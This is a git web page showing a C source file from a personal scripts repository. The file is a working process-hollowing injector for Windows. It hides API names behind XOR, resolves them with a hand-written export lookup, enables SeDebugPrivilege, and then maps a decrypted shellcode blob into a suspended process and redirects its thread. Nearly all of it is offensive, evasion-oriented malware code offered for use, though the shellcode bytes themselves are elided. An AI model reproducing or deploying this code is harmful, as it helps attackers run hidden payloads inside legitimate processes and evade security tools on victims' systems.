etc.git


etc

~ scripts and random things
git clone https://github.com/djnnvx/etc.git
log | files | refs | archive

HollowReaper.c (17764B)

      1 /*
      2     Author: vari.sh
      3     Description:
      4        - This program implements process hollowing (it creates a suspended process,
      5          injects a deobfuscated shellcode via XOR, and then resumes the thread).
      6 
      7     Usage: Doppelganger.exe "C:\windows\explorer.exe"
      8 
      9 */
     10 
     11 #define _CRT_SECURE_NO_WARNINGS
     12 #include <windows.h>
     13 #include <stdio.h>
     14 
     15 
     16 // =====================================================
     17 // API Deobfuscation Functions (XOR)
     18 // =====================================================
     19 
     20 // Function to decrypt a string (encrypted data is not null-terminated)
     21 char* xor_decrypt_string(const unsigned char* cipher, size_t len, const char* key, size_t key_len)
     22 {
     23     char* result = (char*)malloc(len + 1);
     24     if (!result) return NULL;
     25     for (size_t i = 0; i < len; i++) {
     26         result[i] = cipher[i] ^ key[i % key_len];
     27     }
     28     result[len] = '\0';
     29     return result;
     30 }
     31 
     32 // Function to decrypt a buffer in-place (e.g., for shellcode)
     33 void xor_decrypt_buffer(unsigned char* buffer, size_t len, const char* key, size_t key_len)
     34 {
     35     for (size_t i = 0; i < len; i++) {
     36         buffer[i] ^= key[i % key_len];
     37     }
     38 }
     39 
     40 // to_wide util function
     41 
     42 wchar_t* to_wide(const char* str) {
     43     int len = MultiByteToWideChar(CP_UTF8, 0, str, -1, NULL, 0);
     44     if (len == 0) return NULL;
     45     wchar_t* wstr = (wchar_t*)malloc(len * sizeof(wchar_t));
     46     if (!wstr) return NULL;
     47     MultiByteToWideChar(CP_UTF8, 0, str, -1, wstr, len);
     48     return wstr;
     49 }
     50 
     51 // =====================================================
     52 // Function to load clean versions of DLLs
     53 // =====================================================
     54 HMODULE LoadCleanDLL(char* dllPath) {
     55 
     56     HMODULE hDLL = LoadLibraryA(dllPath);
     57     if (hDLL)
     58     {
     59         // printf("[+] Loaded clean copy of %s at: %p\n", dllPath, hDLL);
     60     }
     61     else
     62     {
     63         // printf("[ERROR] Failed to load %s. Error: %lu\n", dllPath, GetLastError());
     64     }
     65 
     66     return hDLL;
     67 }
     68 
     69 // =====================================================
     70 // get_proc_address reimplementation
     71 // =====================================================
     72 
     73 FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
     74     if (hModule == NULL || lpProcName == NULL) {
     75         printf("Invalid module handle or function name.\n");
     76         return NULL;
     77     }
     78 
     79     // Get the base address of the module
     80     BYTE* baseAddr = (BYTE*)hModule;
     81 
     82     // Validate the DOS header
     83     IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)baseAddr;
     84     if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
     85         printf("[!] Invalid DOS signature.\n");
     86         return NULL;
     87     }
     88 
     89     // Retrieve the NT headers using the DOS header's e_lfanew field
     90     IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)(baseAddr + dosHeader->e_lfanew);
     91     if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
     92         printf("[!] Invalid NT signature.\n");
     93         return NULL;
     94     }
     95 
     96     // Get the Export Directory from the Data Directory
     97     IMAGE_DATA_DIRECTORY exportDataDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
     98     if (exportDataDir.VirtualAddress == 0) {
     99         printf("[!] No export directory found.\n");
    100         return NULL;
    101     }
    102 
    103     // Get a pointer to the Export Directory
    104     IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)(baseAddr + exportDataDir.VirtualAddress);
    105 
    106     // Get pointers to the arrays of function addresses, names and name ordinals
    107     DWORD* addressOfFunctions = (DWORD*)(baseAddr + exportDir->AddressOfFunctions);
    108     DWORD* addressOfNames = (DWORD*)(baseAddr + exportDir->AddressOfNames);
    109     WORD* addressOfNameOrdinals = (WORD*)(baseAddr + exportDir->AddressOfNameOrdinals);
    110 
    111     // Iterate through the exported names to find the desired function
    112     for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
    113         char* functionName = (char*)(baseAddr + addressOfNames[i]);
    114         if (_stricmp(functionName, lpProcName) == 0) {
    115             // Retrieve the ordinal for the found function
    116             WORD ordinal = addressOfNameOrdinals[i];
    117             // Get the RVA of the function
    118             DWORD functionRVA = addressOfFunctions[ordinal];
    119             // printf("[+] Found %s at ordinal %hu, RVA: 0x%08X\n", lpProcName, ordinal, functionRVA);
    120             // Return the absolute address of the function
    121             return (FARPROC)(baseAddr + functionRVA);
    122         }
    123     }
    124 
    125     printf("[!] Function %s not found.\n", lpProcName);
    126     return NULL;
    127 }
    128 
    129 // =====================================================
    130 // API Declarations
    131 // =====================================================
    132 
    133 // Loading API
    134 
    135 // "CreateProcessW"
    136 static const unsigned char CPW_ENC[] = {
    137     0x73, 0x43, 0x57, 0x52, 0x40, 0x50, 0x66, 0x45, 0x57, 0x5A, 0x04, 0x11, 0x10, 0x33
    138 };
    139 
    140 // "ResumeThread"
    141 static const unsigned char RT_ENC[] = {
    142     0x62, 0x54, 0x41, 0x46, 0x59, 0x50, 0x62, 0x5F, 0x4A, 0x5C, 0x00, 0x06
    143 };
    144 
    145 // "NtCreateSection"
    146 static const unsigned char NTCS_ENC[] = {
    147     0x7E, 0x45, 0x71, 0x41, 0x51, 0x54, 0x42, 0x52, 0x6B, 0x5C, 0x02, 0x16, 0x0A, 0x0B, 0x0B
    148 };
    149 
    150 // "NtMapViewOfSection"
    151 static const unsigned char NTMVS_ENC[] = {
    152     0x7E, 0x45, 0x7F, 0x52, 0x44, 0x63, 0x5F, 0x52, 0x4F, 0x76, 0x07, 0x31, 0x06, 0x07, 0x11, 0x0F, 0x08, 0x06
    153 };
    154 
    155 // "OpenProcessToken"
    156 static const unsigned char OPT_ENC[] = {
    157     0x7F, 0x41, 0x57, 0x5D, 0x64, 0x47, 0x59, 0x54, 0x5D, 0x4A, 0x12, 0x36, 0x0C, 0x0F, 0x00, 0x08
    158 };
    159 
    160 // "AdjustTokenPrivileges"
    161 static const unsigned char ATP_ENC[] = {
    162     0x71, 0x55, 0x58, 0x46, 0x47, 0x41, 0x62, 0x58, 0x53, 0x5C, 0x0F, 0x32, 0x11, 0x0D, 0x13, 0x0F, 0x0B, 0x0D, 0x0E, 0x0F, 0x43
    163 };
    164 
    165 // "LookupPrivilegeValueA"
    166 static const unsigned char LPVA_ENC[] = {
    167     0x7C, 0x5E, 0x5D, 0x58, 0x41, 0x45, 0x66, 0x45, 0x51, 0x4F, 0x08, 0x0E, 0x06, 0x03, 0x00, 0x30, 0x06, 0x04, 0x1C, 0x0F, 0x71
    168 };
    169 
    170 // "GetThreadContext"
    171 static const unsigned char GTC_ENC[] = {
    172     0x77, 0x54, 0x46, 0x67, 0x5C, 0x47, 0x53, 0x56, 0x5C, 0x7A, 0x0E, 0x0C, 0x17, 0x01, 0x1D, 0x12
    173 };
    174 
    175 // "SetThreadContext"
    176 static const unsigned char STC_ENC[] = {
    177     0x63, 0x54, 0x46, 0x67, 0x5C, 0x47, 0x53, 0x56, 0x5C, 0x7A, 0x0E, 0x0C, 0x17, 0x01, 0x1D, 0x12
    178 };
    179 
    180 // "GetCurrentProcess"
    181 static const unsigned char GCP_ENC[] = {
    182     0x77, 0x54, 0x46, 0x70, 0x41, 0x47, 0x44, 0x52, 0x56, 0x4D, 0x31, 0x10, 0x0C, 0x07, 0x00, 0x15, 0x14
    183 };
    184 
    185 typedef BOOL(WINAPI* PFN_OPT)(
    186     HANDLE ProcessHandle,
    187     DWORD DesiredAccess,
    188     PHANDLE TokenHandle
    189     );
    190 
    191 typedef BOOL(WINAPI* PFN_ATP)(
    192     HANDLE TokenHandle,
    193     BOOL DisableAllPrivileges,
    194     PTOKEN_PRIVILEGES NewState,
    195     DWORD BufferLength,
    196     PTOKEN_PRIVILEGES PreviousState,
    197     PDWORD ReturnLength
    198     );
    199 
    200 typedef BOOL(WINAPI* PFN_LPVA)(
    201     LPCSTR lpSystemName,
    202     LPCSTR lpName,
    203     PLUID lpLuid
    204     );
    205 
    206 typedef BOOL(WINAPI* PFN_CPW)(
    207     LPCWSTR lpApplicationName,
    208     LPWSTR lpCommandLine,
    209     LPSECURITY_ATTRIBUTES lpProcessAttributes,
    210     LPSECURITY_ATTRIBUTES lpThreadAttributes,
    211     BOOL bInheritHandles,
    212     DWORD dwCreationFlags,
    213     LPVOID lpEnvironment,
    214     LPCWSTR lpCurrentDirectory,
    215     LPSTARTUPINFOW lpStartupInfo,
    216     LPPROCESS_INFORMATION lpProcessInformation
    217     );
    218 
    219 typedef DWORD(WINAPI* PFN_RT)(
    220     HANDLE hThread
    221     );
    222 
    223 typedef NTSTATUS(NTAPI* PFN_NTCS)(
    224     PHANDLE SectionHandle,
    225     ACCESS_MASK DesiredAccess,
    226     PVOID ObjectAttributes,
    227     PLARGE_INTEGER MaximumSize,
    228     ULONG SectionPageProtection,
    229     ULONG AllocationAttributes,
    230     HANDLE FileHandle
    231     );
    232 
    233 typedef NTSTATUS(NTAPI* PFN_NTMVOS)(
    234     HANDLE SectionHandle,
    235     HANDLE ProcessHandle,
    236     PVOID* BaseAddress,
    237     ULONG ZeroBits,
    238     SIZE_T CommitSize,
    239     PLARGE_INTEGER SectionOffset,
    240     PSIZE_T ViewSize,
    241     DWORD InheritDisposition,
    242     ULONG AllocationType,
    243     ULONG Win32Protect
    244     );
    245 
    246 typedef BOOL(WINAPI* PFN_GTC)(
    247     HANDLE hThread,
    248     LPCONTEXT lpContext
    249     );
    250 
    251 typedef BOOL(WINAPI* PFN_STC)(
    252     HANDLE hThread,
    253     const CONTEXT* lpContext
    254     );
    255 
    256 typedef HANDLE(WINAPI* PFN_GCP)(
    257     VOID
    258     );
    259 
    260 // =====================================================
    261 // Main – Process Hollowing + LSASS EPROCESS Reading
    262 // =====================================================
    263 int main(int argc, char* argv[]) {
    264     // Start
    265     printf("[+] Starting Doppelganger\n");
    266     Sleep(5000);
    267 
    268     // Load clean versions of DLLs
    269     char* kernel32Path = "C:\\Windows\\System32\\kernel32.dll";
    270     HMODULE hKernel32 = LoadCleanDLL(kernel32Path);
    271 
    272     char* ntdllPath = "C:\\Windows\\System32\\ntdll.dll";
    273     HMODULE hNtdll = LoadCleanDLL(ntdllPath);
    274 
    275     char* advapi32Path = "C:\\Windows\\System32\\advapi32.dll";
    276     HMODULE hAdvapi32 = LoadCleanDLL(advapi32Path);
    277 
    278     if (!hKernel32 || !hNtdll || !hAdvapi32) {
    279         printf("[!] Failed to load one or more DLLs\n");
    280         return 1;
    281     }
    282 
    283     // XOR key definition
    284     const char* XOR_KEY = "0123456789abcdefghij";
    285     size_t key_len = strlen(XOR_KEY);
    286 
    287     // deXORing names
    288     char* strCPW = (char*)malloc(sizeof(CPW_ENC));
    289     char* strRT = (char*)malloc(sizeof(RT_ENC));
    290     char* strNTCS = (char*)malloc(sizeof(NTCS_ENC));
    291     char* strNTMVS = (char*)malloc(sizeof(NTMVS_ENC));
    292     char* strOPT = (char*)malloc(sizeof(OPT_ENC));
    293     char* strATP = (char*)malloc(sizeof(ATP_ENC));
    294     char* strLPVA = (char*)malloc(sizeof(LPVA_ENC));
    295     char* strGTC = (char*)malloc(sizeof(GTC_ENC));
    296     char* strSTC = (char*)malloc(sizeof(STC_ENC));
    297     char* strGCP = (char*)malloc(sizeof(GCP_ENC));
    298 
    299     if (!strCPW || !strRT || !strNTCS || !strNTMVS || !strOPT || !strATP || !strLPVA || !strGTC || !strSTC || !strGCP) {
    300         printf("[ERROR] Memory allocation error\n");
    301         return 1;
    302     }
    303 
    304     // KERNEL32.DLL APIs
    305     memcpy(strCPW, CPW_ENC, sizeof(CPW_ENC));
    306     strCPW = xor_decrypt_string((unsigned char*)strCPW, sizeof(CPW_ENC), XOR_KEY, key_len);
    307     PFN_CPW pCPW = (PFN_CPW)CustomGetProcAddress(hKernel32, strCPW);
    308     SecureZeroMemory(strCPW, sizeof(CPW_ENC)); free(strCPW);
    309 
    310     memcpy(strRT, RT_ENC, sizeof(RT_ENC));
    311     strRT = xor_decrypt_string((unsigned char*)strRT, sizeof(RT_ENC), XOR_KEY, key_len);
    312     PFN_RT pRT = (PFN_RT)CustomGetProcAddress(hKernel32, strRT);
    313     SecureZeroMemory(strRT, sizeof(RT_ENC)); free(strRT);
    314 
    315     // NTDLL.DLL APIs
    316     memcpy(strNTCS, NTCS_ENC, sizeof(NTCS_ENC));
    317     strNTCS = xor_decrypt_string(NTCS_ENC, sizeof(NTCS_ENC), XOR_KEY, key_len);
    318     PFN_NTCS pNCS = (PFN_NTCS)CustomGetProcAddress(hNtdll, strNTCS);
    319     SecureZeroMemory(strNTCS, sizeof(NTCS_ENC)); free(strNTCS);
    320 
    321     memcpy(strNTMVS, NTMVS_ENC, sizeof(NTMVS_ENC));
    322     strNTMVS = xor_decrypt_string(NTMVS_ENC, sizeof(NTMVS_ENC), XOR_KEY, key_len);
    323     PFN_NTMVOS pNMVOS = (PFN_NTMVOS)CustomGetProcAddress(hNtdll, strNTMVS);
    324     SecureZeroMemory(strNTMVS, sizeof(NTMVS_ENC)); free(strNTMVS);
    325 
    326     // ADVAPI32.DLL APIs
    327     memcpy(strOPT, OPT_ENC, sizeof(OPT_ENC));
    328     strOPT = xor_decrypt_string(OPT_ENC, sizeof(OPT_ENC), XOR_KEY, key_len);
    329     PFN_OPT pOPT = (PFN_OPT)CustomGetProcAddress(hAdvapi32, strOPT);
    330     SecureZeroMemory(strOPT, sizeof(OPT_ENC)); free(strOPT);
    331 
    332     memcpy(strATP, ATP_ENC, sizeof(ATP_ENC));
    333     strATP = xor_decrypt_string(ATP_ENC, sizeof(ATP_ENC), XOR_KEY, key_len);
    334     PFN_ATP pATP = (PFN_ATP)CustomGetProcAddress(hAdvapi32, strATP);
    335     SecureZeroMemory(strATP, sizeof(ATP_ENC)); free(strATP);
    336 
    337     memcpy(strLPVA, LPVA_ENC, sizeof(LPVA_ENC));
    338     strLPVA = xor_decrypt_string(LPVA_ENC, sizeof(LPVA_ENC), XOR_KEY, key_len);
    339     PFN_LPVA pLPVA = (PFN_LPVA)CustomGetProcAddress(hAdvapi32, strLPVA);
    340     SecureZeroMemory(strLPVA, sizeof(LPVA_ENC)); free(strLPVA);
    341 
    342     memcpy(strGTC, GTC_ENC, sizeof(GTC_ENC));
    343     strGTC = xor_decrypt_string((unsigned char*)strGTC, sizeof(GTC_ENC), XOR_KEY, key_len);
    344     PFN_GTC pGTC = (PFN_GTC)CustomGetProcAddress(hKernel32, strGTC);
    345     SecureZeroMemory(strGTC, sizeof(GTC_ENC)); free(strGTC);
    346 
    347     memcpy(strSTC, STC_ENC, sizeof(STC_ENC));
    348     strSTC = xor_decrypt_string((unsigned char*)strSTC, sizeof(STC_ENC), XOR_KEY, key_len);
    349     PFN_STC pSTC = (PFN_STC)CustomGetProcAddress(hKernel32, strSTC);
    350     SecureZeroMemory(strSTC, sizeof(STC_ENC)); free(strSTC);
    351 
    352     memcpy(strGCP, GCP_ENC, sizeof(GCP_ENC));
    353     strGCP = xor_decrypt_string((unsigned char*)strGCP, sizeof(GCP_ENC), XOR_KEY, key_len);
    354     PFN_GCP pGCP = (PFN_GCP)CustomGetProcAddress(hKernel32, strGCP);
    355     SecureZeroMemory(strGCP, sizeof(GCP_ENC)); free(strGCP);
    356 
    357     // Check all resolved
    358     if (!pCPW || !pRT || !pNCS || !pNMVOS || !pOPT || !pATP || !pLPVA) {
    359         printf("[ERROR] Error retrieving API addresses.\n");
    360         return 1;
    361     }
    362 
    363 
    364     // Enabling SeDebugPrivilege
    365     HANDLE hToken = NULL;
    366     LUID luid;
    367     TOKEN_PRIVILEGES tp;
    368 
    369     printf("[*] Requesting S DBG PVG...\n");
    370     if (!pOPT(pGCP(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
    371         // printf("[!] OPT failed, error: %lu\n", GetLastError());
    372         return 1;
    373     }
    374 
    375     // "SeDebugPrivilege"
    376     static const unsigned char SEDBG_ENC[] = {
    377         0x63, 0x54, 0x76, 0x56, 0x56, 0x40, 0x51, 0x67, 0x4A, 0x50, 0x17, 0x0B, 0x0F, 0x01, 0x02, 0x03
    378     };
    379 
    380     char* strSEDBG = (char*)malloc(sizeof(SEDBG_ENC));
    381     if (!strSEDBG) {
    382         printf("[ERROR] Memory allocation failed for S DBG PVG\n");
    383         return 1;
    384     }
    385     memcpy(strSEDBG, SEDBG_ENC, sizeof(SEDBG_ENC));
    386     strSEDBG = xor_decrypt_string((unsigned char*)strSEDBG, sizeof(SEDBG_ENC), XOR_KEY, key_len);
    387 
    388 
    389     if (!pLPVA(NULL, strSEDBG, &luid)) {
    390         // printf("[!] LPVA failed, error: %lu\n", GetLastError());
    391         return 1;
    392     }
    393     tp.PrivilegeCount = 1;
    394     DWORD se_enabled_obfuscated = 0xA5 ^ 0xA7;  // 0x02
    395     tp.Privileges->Attributes = se_enabled_obfuscated;
    396     // tp.Privileges->Attributes = SE_PRIVILEGE_ENABLED;
    397     tp.Privileges->Luid = luid;
    398     if (!pATP(hToken, FALSE, &tp, 0, NULL, NULL)) {
    399         // printf("[!] ATP failed, error: %lu\n", GetLastError());
    400         return 1;
    401     }
    402 
    403     printf("[+] S DBG PVG enabled.\n");
    404 
    405     // Obtain the target executable path (from command line or stdin)
    406     char exePathA[MAX_PATH] = { 0 };
    407     if (argc > 1) {
    408         strncpy(exePathA, argv[1], MAX_PATH - 1);
    409         printf("[+] Path provided from command line: %s\n", exePathA);
    410     }
    411     else {
    412         printf("[*] Enter the full path of the executable: ");
    413         if (!fgets(exePathA, sizeof(exePathA), stdin)) {
    414             printf("[ERROR] Error reading the path.\n");
    415             return 1;
    416         }
    417         exePathA[strcspn(exePathA, "\r\n")] = '\0';
    418     }
    419     if (strlen(exePathA) == 0) {
    420         printf("[ERROR] Invalid path!\n");
    421         return 1;
    422     }
    423     wchar_t* exePathW = to_wide(exePathA);
    424     if (!exePathW) {
    425         printf("[ERROR] Error converting the path to Unicode.\n");
    426         return 1;
    427     }
    428 
    429     // Create the process in a suspended state
    430 
    431     STARTUPINFOW si;
    432     PROCESS_INFORMATION pi;
    433     ZeroMemory(&si, sizeof(si));
    434     si.cb = sizeof(si);
    435     ZeroMemory(&pi, sizeof(pi));
    436     if (!pCPW(exePathW, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
    437         // printf("[ERROR] Error creating the process, code: %lu\n", GetLastError());
    438         free(exePathW);
    439         return 1;
    440     }
    441     free(exePathW);
    442     printf("[+] Process created in suspended state, PID: %lu\n", pi.dwProcessId);
    443 
    444     // Deobfuscate the shellcode
    445     unsigned char shellcode_enc[] = {
    446         0xD8, 0xF1, 0x45, 0x33, ...
    447     };
    448     size_t shellcode_len = sizeof(shellcode_enc);
    449     xor_decrypt_buffer(shellcode_enc, shellcode_len, XOR_KEY, key_len);
    450 
    451     // Create section
    452     HANDLE hSection = NULL;
    453     LARGE_INTEGER sectionSize = { 0 };
    454     sectionSize.QuadPart = shellcode_len;
    455     NTSTATUS status = pNCS(&hSection, SECTION_ALL_ACCESS, NULL, &sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
    456     if (status != 0 || !hSection) {
    457         printf("[ERROR] NCS failed: 0x%08X\n", status);
    458         return 1;
    459     }
    460 
    461     // Map section to local process
    462     PVOID localBaseAddress = NULL;
    463     SIZE_T viewSize = 0;
    464     status = pNMVOS(hSection, pGCP(), &localBaseAddress, 0, 0, NULL, &viewSize, 2, 0, PAGE_READWRITE);
    465     if (status != 0 || !localBaseAddress) {
    466         printf("[ERROR] NMVOS (local) failed: 0x%08X\n", status);
    467         return 1;
    468     }
    469     memcpy(localBaseAddress, shellcode_enc, shellcode_len);
    470 
    471     // Map section to remote process
    472     PVOID remoteBaseAddress = NULL;
    473     viewSize = 0;
    474     status = pNMVOS(hSection, pi.hProcess, &remoteBaseAddress, 0, 0, NULL, &viewSize, 2, 0, PAGE_EXECUTE_READ);
    475     if (status != 0 || !remoteBaseAddress) {
    476         printf("[ERROR] NMVOS (remote) failed: 0x%08X\n", status);
    477         return 1;
    478     }
    479     printf("[+] Shellcode mapped at remote address: %p\n", remoteBaseAddress);
    480 
    481     // Modify RIP to point to shellcode in remote process
    482     CONTEXT ctx;
    483     ctx.ContextFlags = CONTEXT_CONTROL;
    484     if (!pGTC(pi.hThread, &ctx)) {
    485         // printf("[ERROR] GTC failed: %lu\n", GetLastError());
    486         return 1;
    487     }
    488 #ifdef _WIN64
    489     ctx.Rip = (DWORD64)remoteBaseAddress;
    490 #else
    491     ctx.Eip = (DWORD)remoteBaseAddress;
    492 #endif
    493     if (!pSTC(pi.hThread, &ctx)) {
    494         // printf("[ERROR] STC failed: %lu\n", GetLastError());
    495         return 1;
    496     }
    497 
    498     DWORD suspendCount = pRT(pi.hThread);
    499     printf("[+] Thread resumed, suspend count: %lu\n", suspendCount);
    500 
    501     // Cleanup: close handles
    502     CloseHandle(pi.hThread);
    503     CloseHandle(pi.hProcess);
    504 
    505     printf("[+] Operation completed.\n");
    506     return 0;
    507 }